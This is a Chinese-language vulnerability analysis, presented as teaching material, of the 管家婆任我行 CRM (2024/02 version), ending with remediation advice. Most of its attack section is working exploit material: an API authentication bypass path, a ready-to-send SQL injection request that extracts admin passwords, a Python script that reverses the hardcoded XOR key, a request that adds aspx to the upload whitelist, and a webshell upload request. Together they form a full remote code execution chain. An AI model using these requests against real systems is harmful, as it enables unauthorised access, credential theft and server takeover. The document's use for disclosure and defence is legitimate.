管家婆任我行CRM协同普及版未授权RCE漏洞分析
字数 1239 2025-08-22 18:37:27
管家婆任我行CRM协同普及版未授权RCE漏洞分析教学文档
漏洞概述
本教学文档详细分析管家婆任我行CRM协同普及版(2024/02版本)存在的多个安全漏洞,包括:
- 逻辑绕过访问API接口漏洞
- SQL注入获取加密密码漏洞
- 任意文件上传导致远程代码执行漏洞
漏洞分析
1. 逻辑绕过访问API接口漏洞
技术背景
- 系统采用.NET MVC架构编写
- 有两个主要基类:
Controller和ApiController - 访问控制逻辑在这两个基类中实现方式不同
漏洞细节
CrmBaseController:
- 继承自
Controller,是大多数自定义Action的基类 - 在
Initialize方法中仅对GET请求做了限制,POST请求可绕过 - 但几乎所有Controller子类在数据库操作前都会通过
base.CRMContext获取数据库实例 - 未授权时
base.CRMContext为null,导致大多数继承Controller子类的action无法访问
ApiController:
- 通过
/api/*访问系统实现的Action - 访问控制逻辑在
GraspCRMLoginUser.curloginUser中实现 OpenApiBaseApiController设置了ApiSecurityAttribute过滤器校验accesstoken- 其他apiController未实现filter,可通过访问
/api/OpenApi/[Other controller]/[method]绕过登陆
2. SQL注入获取加密密码漏洞
漏洞位置
CommonDictController下的Edit方法存在SQL注入Name参数可控,最终进入GetWhere方法
利用方式
构造以下数据包进行报错注入:
POST /crm/api/OpenApi/CommonDict/Edit?accesstoken=1&accesskey=1×tamp=1&nonce=1&signature=1 HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
enumType=69&data={"ID":"1","Name":"'+and+1=(select+top+1+Password+from+CRM_LoginUser)--"}
密码解密方法
系统密码采用异或加密,key为硬编码的"AceCRMBestLover":
def decrypt(encrypted_str):
if len(encrypted_str) == 0:
return encrypted_str
key = "AceCRMBestLover"
key_length = len(key)
decrypted_str = ""
encrypted_parts = encrypted_str.split('+')
for encrypted_part in encrypted_parts:
if encrypted_part != '':
decrypted_part = int(encrypted_part) - 13
decrypted_str += chr(decrypted_part)
decrypted_array = list(decrypted_str)
for i in range(0, len(decrypted_array), key_length):
for j in range(key_length):
if i + j < len(decrypted_array):
decrypted_array[i + j] = chr(ord(decrypted_array[i + j]) ^ ord(key[j]))
if ord(decrypted_array[i + j]) == 0:
decrypted_array[i + j] = key[j]
return ''.join(decrypted_array)
encrypted_text = "61+33+114+127+109+139+131+"
decrypted_text = decrypt(encrypted_text)
print("Decrypted Text:", decrypted_text)
3. 任意文件上传漏洞
漏洞位置
/Handlers/AnnexUploadHandler.ashx路由存在文件上传功能- 上传文件后缀受
annexConfigInfo.UploadFileExtType限制 - 但可通过
/SystemManage/SystemConfigIndex/新增白名单绕过
利用步骤
步骤1:获取管理员密码
使用SQL注入获取加密密码并解密
步骤2:新增上传文件后缀白名单
构造以下数据包添加aspx到白名单:
POST /crm/SystemManage/SystemConfigIndex/ HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
Content-Length: 870
CorpName=1&CorpAddress=1&CorpPhone=028-85311111&CorpFax=028-11111111&CorpWebSiteHome=http%3A%2F%2Fwww.wecrm.com&Post=610046&LimitLoginIP=true&FullIndexEnable=true&IsAutoConvertPic=false&AdminAccountIpBind=false&AdminAccountIPBindAddress=&EnabledCountdown=true&CountdownTitle=234&CountdownTime=2012-09-30&UploadFileMaxSize=10240&UploadFileExtType=gif%2Cpng%2Cjpge%2Cjpg%2Cbmp%2Crar%2Czip%2C7z%2Cxls%2Cmpp%2Cppt%2Cxlsx%2Cdoc%2Cdocx%2Cpptx%2Cswf%2Cflv%2Cpsd%2Ctxt%2Crtf%2Ciso%2Cdwg%2Ccdr%2Cngr%2Ctt+f%2Cavi%2Crmvb%2Cmpp%2Cvsd%2Cmts%2Cwav%2Cmp3%2Cwma%2Caspx&MobileUploadOtherFile=false&AllowExportMaxPageCount=20&MaxMessageKeepDate=7&ImShowHeadPic=true&MsgReceiveMethod=Queue&RepeatLogin=true&AutoUpGrade=false&AutoUpGradeNotifier=&LoginPosition=1&LoginBackImgType=1&QtyPrecision=4&PricePrecision=4&TotalPrecision=4&DiscountPrecision=2&TaxRatePrecision=0&DiscountFirst=false
步骤3:上传webshell
构造以下数据包上传aspx文件:
POST /crm/Handlers/AnnexUploadHandler.ashx HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=8c762bd4e8b2ad796aee7d4bd1efba65
Content-Length: 655
--8c762bd4e8b2ad796aee7d4bd1efba65
Content-Disposition: form-data; name="filename"; filename="1.aspx"
<%= "hacked!" %>
--8c762bd4e8b2ad796aee7d4bd1efba65
Content-Disposition: form-data; name="imgCompressWidth"; filename="imgCompressWidth"
100
--8c762bd4e8b2ad796aee7d4bd1efba65
Content-Disposition: form-data; name="imgCompressHeight"; filename="imgCompressHeight"
100
--8c762bd4e8b2ad796aee7d4bd1efba65
Content-Disposition: form-data; name="isTemp"; filename="isTemp"
false
--8c762bd4e8b2ad796aee7d4bd1efba65
Content-Disposition: form-data; name="isSynWeixin"; filename="isSynWeixin"
false
--8c762bd4e8b2ad796aee7d4bd1efba65--
修复建议
- 对所有API接口统一实施严格的身份验证机制
- 修复
CommonDictController中的SQL注入漏洞,使用参数化查询 - 加强文件上传功能的安全控制:
- 限制上传文件类型
- 禁止用户修改上传白名单
- 对上传文件进行内容检查
- 改进密码加密方式,避免使用固定密钥的简单异或加密
- 对所有Controller实施一致的访问控制策略